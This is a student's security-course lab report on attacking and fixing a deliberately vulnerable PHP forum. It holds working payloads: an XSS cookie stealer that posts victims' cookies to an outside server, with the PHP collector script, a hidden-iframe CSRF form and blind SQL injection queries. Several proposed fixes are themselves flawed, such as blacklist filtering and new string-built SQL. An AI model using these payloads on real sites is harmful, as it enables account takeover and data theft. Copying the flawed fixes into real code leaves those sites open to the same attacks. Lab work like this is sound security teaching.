Kunal Mukherjee
CS 6324
4/26/2021
Dr. Chung Hwan Kim

Problem 1
1.1 Password Management

- The password is taken from the “password” field in the ‘register.php’ using the registration form. The password is taken from the POST field ‘password’ and stored in the user table. Before, the password is stored the only thing that is checked is if the username is already present. If the username is not present, the password is inserted into the user table. The password is just hash and stored. The password is not salted or anything. The hash of the password is stored in the cookie “hackme_pass”, but that cookie is not used for anything.
  There is no authentication of the password when someone tries to log in “index.php”. That means you can just enter any password and a valid username, and you can log in for that username. The password is added to the table but not used for anything.
- 1.1.1 The password is not checked against anything. That means anyone with a valid username can log in, they only need to enter something in the password filed in the index form.
  1.1.2 The password is not salted. Just, storing the password hash without salt can be vulnerable to dictionary attack.
- Defense: The main defense is to first salt the password and then, we need to check the salted password against the supplied username. The salting of the password is done in register.php, using the function password_hash. The function generated a salted password itself. So, we only need to change $passwordHash to this,

```
            // pb1.1 defense password salt
            $passwordHash = password_hash($_POST['password'], PASSWORD_DEFAULT);
```

Then, to verify the password, in “members.php” we first query and get the password from db, and then use the function password_verify to verify the password against the salted password. So, we need to first query and get the password for the user and then verify the password,

```
// fix1 and 2: password check as well as checking the salted password
$pass = mysql_query("SELECT pass FROM users WHERE username = ".$_POST['username']."'")
or die(mysql_error());

        while($thispass = mysql_fetch_array( $pass )){
            if (!(password_verify($_POST['password'], $thispass['pass'])))
            {
                die('<p>Password DID NOT MATCH.
                Please go back and try again!</p>');
            }
        }
```

1.2 Session Management

- Sessions are maintained using cookies in hackme. There are two cookies of hackme, ‘hackme’ and ‘hackme_pass’. The username is set inside the cookie, “hackme”, and the insecure password hash is set inside the cookie, cookie[‘hackme_pass’]. Session is maintained as pages checks if “hackme” cookie is set. If the cookie is set, then the respective page content is just displayed or else, this message is displayed, “'Why are you not logged in?!'”, and the session is killed. The cookies are set with an expirer time of one hour. After which the cookie expires off.
- 1.2.1 In the cookie, “hackme_pass”, the hashed password is stored. But, this cookie is not used for anything, but it is set. So, it is extremely dangerous as anyone can steal the cookie using XSS attack and then employ using dictionary attack on the hashed password. The password is not natively salted, so it is more vulnerable.
  1.2.2 the cookie “hackme” never changes, so once its stolen the attacker can use it forever. The attacker can exploit it such as log in and make up, and skip the authentication step.
  1.2.3 Posting a thread and log in is done using “hackme” cookie. The “hackme” cooking works as authentication. So, an attacker can register a user and find a thread made by the victim. Normal thread divulge cookie information that is used for authentication information that needs to be stopped. The attacker then get the username of the victim, and then they can manually change the “hackme” cookie using the browser “View Page Source” setting to contain the victim username. After changing the hackme cookie, they can easily log in as the victim and do anything like post or change previous posts.
- Defense:
  1.2.1 The insecure password hash is set inside the cookie, cookie[‘hackme_pass’]. Since, the password is not being used anywhere, I just removed that cookie[‘hackme_pass’], as we are not using the anywhere. The cookie was set in members.php, so I deleted that cookie, and in logout.php the cookie was unset, so I deleted it from there also.

  1.2.2. To make the “hackme” cookie different everytime, a nonce is added to the value. I have created a separate php file called cryptolib.php, where there are two functions, encryptCookie and decryptCookie. In the encryptCookie function, a random IV is used every time the function is called. So, it makes it certain that encrypted cookie is different every time. So, in “member.php” where the cookie is set, the username is encrypted using AES with random IV, so the cookie is random every time. And, wherever the cookie is checked, such as “post.php”, “show.php”, the decryptCookie function is called to display the username correctly. So, an attacker, who puts an random username will not be able to display and make post correctly.

```
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext_raw = openssl_encrypt($value, $cipher, $key, $options=OPENSSL_RAW_DATA,
$iv);
```

member.php

```
setcookie(hackme, encryptCookie($_POST['username']), $hour, null, null, null, true);
```

post.php

```
$userName = decryptCookie($_COOKIE['hackme']);
print("<p>Logged in as <a>$userName</a></p>");
```

Another defense is enacted that the hash of the “hackme” encrypted cookie is stored in the extra field. And before displaying, from any other page such as “post.php”, “show.php”, “members.php”, the extra field is checked. If a mismatch occurs that means that an attack is in progress. The extra field is set in members.php when the cookie is set:

```
$val = encryptCookie($_POST['username']);
            // fix 1.2.3
            // hackme cookie is encrypted
            // fix 2.2 httponly flag set to true
            setcookie(hackme, $val, $hour, null, null, null, true);

            // fix 1.2 session, add the session key in extra
            $hash64 = md5($val);
            mysql_query("UPDATE users SET extra='".$hash64."' WHERE username =
'".$_POST['username']."'") or die(mysql_error());
```

The extra field is set to empty, during logout.php.

```
// fix 1.2 session, remove the session key in extra
mysql_query("UPDATE users SET extra='' WHERE username = '$userName'") or
die(mysql_error());
```

And before displaying in other pages such as “post.php”, “show.php”, and “members.php”, on top of checking if the hackme cookie is set, it is also checked if the hash of the cookie matches with the value in the extra field. If the value does not match, we know a cookie hijacking is in place.

```
// hackme cookie decryption
        $userName = decryptCookie($_COOKIE['hackme']);
        print("<p>Logged in as <a>$userName</a></p>");

        // fix for 1.2 cookie is updated
        $extra = mysql_query("SELECT extra FROM users WHERE username = '$userName'")
or die(mysql_error());

        while($thisextra = mysql_fetch_array( $extra )){

            if (!(md5($_COOKIE['hackme']) == $thisextra['extra']))
            {
                die('<p>COOKIE HIJACKING IN PROGRESS!</p>');
            }
        }
```

1.2.3 since the cookie is encrypted, it does not divulge information about username. Since, the username is in plaintext, but the cookie is encrypted with random iv, the attacker cannot just steal the username from the post and use it as the cookie value for authentication.

members.php

```
setcookie(hackme, encryptCookie($_POST['username']), $hour);
```

Problem 2

2.1 Attack

- XSS_input.txt

```
<form action="http://fiona.utdallas.edu/~kxm180046/attack.php"
method="post" target="theiframe">
   <input type="hidden" name="title" id="title"/>
   <input type="submit" name="post_submit" id="post_submit"
value="POST" style="visibility: hidden;"/>
</form>
<iframe name="theiframe"
src="http://fiona.utdallas.edu/~kxm180046/attack.php"
style="visibility: hidden;">
</iframe>
<script type="text/javascript">
   var msg = document.cookie;
   document.getElementById("title").value = msg;
   document.getElementById("post_submit").click();
</script>
```

- My malicous post contains a string that is basically a script. The script has two parts: a HTML part and JS part. The HTML part creates a form that is in an iframe but the iframe is invisible. So, the victim cannot see what is happening. The HTML creates a post request form where there is one hidden field “title”. In the title field, we are grabbing the cookie and placing it in there and sending it to the attacker. Since, the victim is logged in and is viewing the post, the script is being executed by the victim. Therefore, the script has access to victim’s local authentication credentials such as cookies. Everything is being done inside an invisible iframe, so the victim has no idea what is going on. The creation of the form with the hidden field is being done in HTML. The form is being embedded inside the invisible iframe using HTML. The getting of the cookie and sending it to the attacker is being done using javascript. Using javascript we submit the form automatically by simulating the action of click(). When click happens, we are sending the POST request that has the cookie inside the title field to a webpage controlled by the attacker that is hosted in “`http://fiona.utdallas.edu/~kxm180046/attack.php`”.

- The attacker has the below script running on their server. The script below gets the content (victim cookie on our case) from the "title" field in the POST request. Then, it writes the content to a text file in the this location: "`/home/kxm180046/public_html/vic.txt`". The attacker can just read file to gain access to the victim cookies. The "attack.php" needs to be placed in the primary domain name folder, in our case since I resused Fiona, I put it in "public_html" but if someone else wants to run it, they need to place it in their root folder. So, that when someone types your main domain, they should be able to access the folder.

  The file "`/home/kxm180046/public_html/vic.txt`" needs to be present and the permission needs to be set to group and user that is owning the attack.php file. So, to be safe you can do "chmod 777 `/home/kxm180046/public_html/vic.txt`" . This will give the vic.txt the required permission so that it can be written. All the files are available in p3 folder inside kxm180046_p2.

```
<html>
<body>

<?php
echo $_POST["title"];
$content = $_POST["title"];
$file = "/home/kxm180046/public_html/vic.txt";
$Saved_File = fopen($file, 'a');
fwrite($Saved_File, $content);
fwrite($Saved_File, "\n");
fclose($Saved_File);
?>

</body>
</html>
```

- The vulnerability is due to unvalidated data in the HTTP response form that includes dynamic content that is executed by the browser, since the browser thinks the response is trusted. The attacker(my) string is a dynamic content which is embedded and executed on the client side. The attacker's or mine dynamic code can easily access client-side resource such as cookies as well as resources such as forms and html code. The vulnerability is also due to client-side scripting language accessing victim cookies, a client-side resource and sending the data from a different website that is not from the same origin. In our case, we are embedding direct HTML form and JS script in the malicious post that is being stored in the DB. Now, our post contains script. The script has two parts: html and JS. So, when the victim clicks our post, during the time when our post is loaded as well as the dynamic content(code) will be executed. When our code will be executed, it would create an invisible iframe and embed a form in it and populate a hidden filed with the cookie and send the request to our controlled server. In our controlled server we will listen for the request

and get the cookie. This will happen while the victim is unaware as the form is embedded inside an iframe.

2.2 Defense

- XSS vulnerability happen when dynamic code is inserted. So, to make sure that no invisible dynamic code is inserted, we need to remove everything that is inside the code tags. The defense will be enacted in a way, that before a user's post is inserted into the database, we will remove all the code between the script, form, iframe tag. We will make sure attacks string that has dynamic code is not into the database in any form. So, when the client clicks on a post they only view pure text without any hidden dynamic script or code. For this, we will modify the post.php, and replace the message in the tags with empty string. And, the sanitized variable will be inserted inside into the threads rather than originally what the user inserted.

```
$messageSanitized = preg_replace('#<script(.*?)>(.*?)</script>#is', '',
$_POST[message]);
$messageSanitized = preg_replace('#<form(.*?)>(.*?)</form>#is', '',
$messageSanitized);
$messageSanitized = preg_replace('#<iframe(.*?)>(.*?)</iframe>#is', '',
$messageSanitized);
```

```
mysql_query("INSERT INTO threads (username, title, message, date)
VALUES('".$userName."', '". $_POST['title']."', '".$messageSanitized."',
'".time()."')")or die(mysql_error());
```

Problem 3

3.1 Attack

- The luring of the victim is done by posting and making the title that makes the post lucrative, such as "GOLD", "CS6324 Answer Key", so that people would easily click on the post. The XSRF attack is similar to XSS attack but we had to emulate the post form with hidden filed and embed it inside a hidden iframe. Before starting the attack, we need to do some recon. In our recon will inspect the post page and find out how posts are made, such as what fields are involved and how the request is sent. So, we find out that that to make a legitimate post, we need to fill two inputs, title and message, and then click the submit button. Since, due to the vulnerability that dynamic content can be executed, we leverage it to create our exploit.
  Our attack exploit is very simple, we will create an iframe and have the post.php embedded in it that will be filled and posted. Since, we know what fields needs to be filled in the post form to make an accurate post, we just fill those input fields with our payload. For example, we make the "title" with payload "awesome free stuff!!" and message payload with our advertisement such as "Gold Gold Gold". Since dynamic code will be executed by the browser, we just write a simple JS, that submits the form, by calling the action click(). Since, the only authentication during submission of a post is done by the cookie[hackme], and cookie[hackme] will be set to the victim username who clicks our post, the browser will publish the post under the victim's username, who clicked the post. So, just by clicking our malicious post, the victim

will unknowingly create a form in an invisible frame and fill the input filed with our payload and submit it under the victim's username.

```
<form action="http://fiona.utdallas.edu/~kxm180046/post.php"
method="post" target="theiframe">
   <input type="hidden" name="title" value="awesome free
stuff!!"/>
   <input type="hidden" name="message" value="Gold Gold Gold"/>
   <input type="submit" name="post_submit" id="post_submit"
value="POST" style="visibility: hidden;"/>
</form>
<iframe name="theiframe"
src="http://fiona.utdallas.edu/~kxm180046/post.php"
style="visibility: hidden;">
</iframe>
<script type="text/javascript">
   document.getElementById("post_submit").click();
</script>
```

3.2 Vulnerability

The vulnerability is due to acceptance of unvalidated data in the "post.php" when it is entered inside threads table. So, when a malicious post that contains the attacker's script for dynamic content is loaded due to a victim's click, the dynamic response is executed by the victims browser (since the browser thinks the response is trusted). The attacker(my) string is a dynamic content which is embedded and executed on the client side. In our case, we are embedding direct HTML form and JS script in the post that is being stored in the DB.

Now, when the victim clicks our post because of the lucrative title to gain something, during that time when our post is loaded the dynamic content(code) will be executed. When our code will be executed, it would create an invisible iframe and embed a form in it and populate a hidden filed with the ad and send the post form request and successfully post the attackers advertisement. This will happen while the victim is unaware.

We could use iframe to hide our attack from the victim by manipulating DOM object such iframe, the input field as well as we impersonated the victim as no hidden fields were involved. And, because of DOM we could get our JS to execute the query and make the request possible. Another vulnerability is that it is not using any hidden fields in the post.php page without random token, so that it is hard to emulate a post request without knowing the hidden field values.

3.3 Defense

3.3.1 use CSRF token + hidden field

- For the "post.php", we need to create hidden fields that are filled with random tokens before a POST request is sent. Because now it won't be important enough to just fill the title and message field, as an attacker I will have to guess what is inside the hidden field also. Without the correct authentication token in the hidden filed, the post request will be rejected. Lets say a user visits post.php, it should generate a

(cryptographically strong) pseudorandom value and set it as a new cookie on the user's cookie from the session identifier. Then post.php would requires that every request include this pseudorandom value in a hidden form's field value.

3.3.2 custom HTTP Headers(X-Requested-By header with the value XMLHttpRequest)

- This defense is adding of custom header while sending the POST request by post.php. So, hackme will checks the presence of "X-Requested-By" and drops the request if the header isn't found. For the attack HTTP requests from hackme is performed via form, iframe, and JS, but they are unable to set custom HTTP headers. The only way to create a HTTP request from a browser with a custom HTTP header is to use a technology such as Javascript XMLHttpRequest. So, if we disallow XMLHttpRequest from being made form post.php, we will be secure, as it will not allow the post to be accepted as it will not contain the custom header.

3.3.2 frame busting, prevents a site from functioning when loaded inside a frame

- In frame busting, we will make sure that the "post.php" is not being displayed inside an iframe. Since, we are using the hidden iframe to craft the attack, so not being able to access the iframe will render our attack useless. This defense is implemented inside the post.php, using JS that validates if the current window is the main window. We will take the approach to block rendering of the window by default and only unblock it after confirming the current window is the main window.

```
<style>html{display:none;}</style>
<script>
   if (self == top) {
       document.documentElement.style.display = 'block';
   } else {
       top.location = self.location;
   }
</script>
```

3.3.4 removing any dynamic code from a post body. This is the same defense employed in part 2's defense. That before a post is saved inside the DB, we remove all code inside the tag. We will use "preg_replace" to replace anything that is inside the tags such as 'script, form, iframe'. So, modify "post.php" by:

```
$messageSanitized = preg_replace('#<script(.*?)>(.*?)</script>#is', '',
$_POST[message]);
$messageSanitized = preg_replace('#<form(.*?)>(.*?)</form>#is', '',
$messageSanitized);
$messageSanitized = preg_replace('#<iframe(.*?)>(.*?)</iframe>#is', '',
$messageSanitized);

mysql_query("INSERT INTO threads (username, title, message, date)
VALUES('".$userName."', '". $_POST['title']."',
'".$messageSanitized."', '".time()."')")or die(mysql_error());
```

Problem 4

4.1 Attack:

The attack is done in parts:

1> First, we try to find the form field that is vulnerable

2> We put `'` in different form field to see which one throws a sql error

3> After we put `'` in `Username` field and `0` in `Password` in **index.php** , we get this error "`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1`" . So, now we know that the `Username` field is exploitable, and only one thing we need to make sure that `Password` field is non-empty, what character we put in does not matter,

4> Now, we need to put in something more to get information.

5> We put in `` `' OR TRUE#` `` and `0` in `Password` in index.php. we get this error message, "`Incorrect password, please try again.`"

6> We put in `` `' OR TRUE#` `` and `0` in `Password` in index.php. we get this error message, "`Incorrect password, please try again.`"

7> We put in `` `' OR FALSE#` `` and `0` in `Password` in index.php. we get this error message, "`Sorry, user name does not exisits.`"

8> So, now we know that if the query after `OR` is correct, we will get "Incorrect password" error and if the query is incorrect, we will get, "Sorry, user name does not exists".

9> Now, we being our blind sql injection to recover enough information to register our user. That means, we are trying to recover enough information to get the **secret** key.

10> First we try to find the tables that are in the database. We run this payload, "`' OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=2#`",until we get this response "`Incorrect password, please try again.`". We change 1 to 2, then 3, until we get "Incorrect password" error. For 2, we will get the "Incorrect password" error, so we know that we have 2 tables.

11> Second, we get the length of the table names. We run this query to get the length of name of the first table, "`' OR (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=7#`".

We run this query to get the length of the second table, "`' OR (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)=5#`".

12> After this, I saw names of the tables. By now, I was suspecting that like our personal hackme DB "`cs6324spring21`", we have 2 tables, "`users`" and "`threads`".

13> Next, I jumped a step and tried to guess the number of columns in users. I run this exploit, "`' OR (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=6#`". Now, I am fairly certain that we are using the same database. So, we have these columns,
`username`,`pass`,`fname`,`lname`,`extra`,`extra2`.

14> Next, I find usernames one by one and check their `extra` and `extra2` field. Soon, I am able to find the username, "**ETHAN**" that has the secret key in their `extra` field, `**1404664287**`.

15> To check the username one by one, you run this query, "`' OR (SELECT username FROM users WHERE username!=jasmine username!=Patterson…username!=congratulations! LIMIT 1) LIKE 'e%'#`". Then, you run "`' OR (SELECT username FROM users WHERE username!=jasmine username!=Patterson … username!= congratulations! LIMIT 1) LIKE 'et%'#`"… and the last one is "`' OR (SELECT username FROM users WHERE username!=jasmine username!=Patterson … username!= congratulations! LIMIT 1) LIKE 'etha%'#`", and finally you get the username, "ETHAN". The "…" that I mentioned contains all the usernames already found. For this part, I recommend running a python script**, p4.py** to get the new username automatically.

16> Then, once user "ETHAN" is found, we need to look at the extra field to get the secret key. We can run this query "`' OR (SELECT extra FROM users WHERE username='ETHAN') LIKE '1%'#`", , then "`' OR (SELECT extra FROM users WHERE username='ETHAN') LIKE '14%'#`", and finally this query "`' OR (SELECT extra FROM users WHERE username='ETHAN') LIKE '1404664287'#`", to get our secret key to register.

17> Then, I used the secret key to register myself and make a post.

4.2 Defense of blind SQL Injection depends on making the distinguishable difference between TRUE and FALSE query. If we can't distinguish between the two statements, then this attack can be thwarted. The sql injection happens because of the special sql characters, such as `'`, and `#`. So, to thwart the attack, we will remove the special SQL characters, using php library such as `mysql_real_escape_string`. Also, there needs to more sanitizations check such as removing, all special character and sql words such as `'`, `;`, `"`, `or` and etc. Once, all special character is removed, we will remove all special character that can cause SQL error, that can give indication of TRUE and FALSE query. So, in "members.php" we will add all the input sanitization checks in the post field of the form, so that no SQL correctly formed query can be executed. Now, blind SQL have been thwarted.

```
$userinputtmp = mysql_real_escape_string($_POST['username']);
$sqlinput = ["'", ";", ",", "#", "-", "&", "%", "|", "\\", "or ", "and ", "\""];
$userinput = str_replace($sqlinput, "", $userinputtmp);
```

Also, in "show.php" we will do the same sanitization check on the pidinput GET field. So that we removed well-formed sql query from the pidinput GET field.

```
// p4.2 defense
    // SQL special string skipping
    $userinputtmp = mysql_real_escape_string($_GET[pid]);
    $sqlinput = ["'", ";", ",", "#", "-", "&", "%", "|", "\\", "or ", "and ", "\""];
    $pidinput = str_replace($sqlinput, "", $userinputtmp);

    $threads = mysql_query("SELECT * FROM threads WHERE id = '$pidinput'") or
die(mysql_error());
```

4.3 Extra Authentication Step

- Since, SQL injection is possible whatever we store in the DB is vulnerable. So, we need to use some else for the authentication step, such as two factor authentication. The most secure authentication step is using OAuth2.0 protocol or third-party trusted application like DUO for authentication.
- Using something external authentication that is cryptographically secure as well as accessible is the best alternative. So, using public key private authentication is the best way to solve authentication when there is SQL vulnerability. Let's say the site stores your public key. Only when you provide your private key you get to log in. But, by private key, I mean OTP, that you will use only once and then get rid of it. Also, once it has been used it cannot be used again (the DB entry would be deleted of the public key). So, let's say in our case, for private hackme, Dr. Kim posts us the OTP private key in the physical mail. Once, we get our mail we will use the private OTP to log ourselves in. Now, an attacker only has access public key as it is stored in the DB. They cannot guess the private key in finite time to make the attack valuable.

Problem 5

5.1

- Password entropy is used as the measurement of the security provided. Measure of password entropy is the notion for security. The main idea is high entropy password is stronger password and low entropy password is weaker password. Shannon's entropy is used as the current standard for measuring the strength of password. But, as seen by the researchers Shannon's entropy is not the same as guessing entropy.
- NIST standard is ineffective because of human nature and password policy rule mandated password created having same features in a large set. For example, when it is mandated that you need to add three digits, most of the time the digits go to the front or the end, and it is usually "123", "987". So, by issuance of the password policy we made the password for predictable. Also, when password length is enforced, most of the phrases in the password becomes substitution words such as "4<-for", "C<- see". The issue with special character is that since it is hard to memorize, most user tend to have a common structure using, "!, $, @" included at the front or the end. And this makes the password more vulnerable to dictionary attacks, as now the structure is predictable. And, sometimes the user just types the same character multiple times. Then, when the site requires the user to change their password every few days, people just increment their old password from their base password. So, it does not help anyway as now the attacker just needs to check with their old password list and append a "1" or a "2", and check. A sufficiently powerful password checker can easily brute force through that and get the password.
- We will check the user's password against banned weak password even if it matches the requirement. So, that we can eliminate easy dictionary attack. We will randomly select a security policy such as needing two special character when a user is created. While this user will include a special character in their password, the other user will not, and if they do the password would be rejected. We will get an external PRNG to addend some characters to the password and force the user to memorize it. The random number will make sure than even if the base password is weak, the random number will have it harder for the password cracker to work.

5.2 pass.txt attached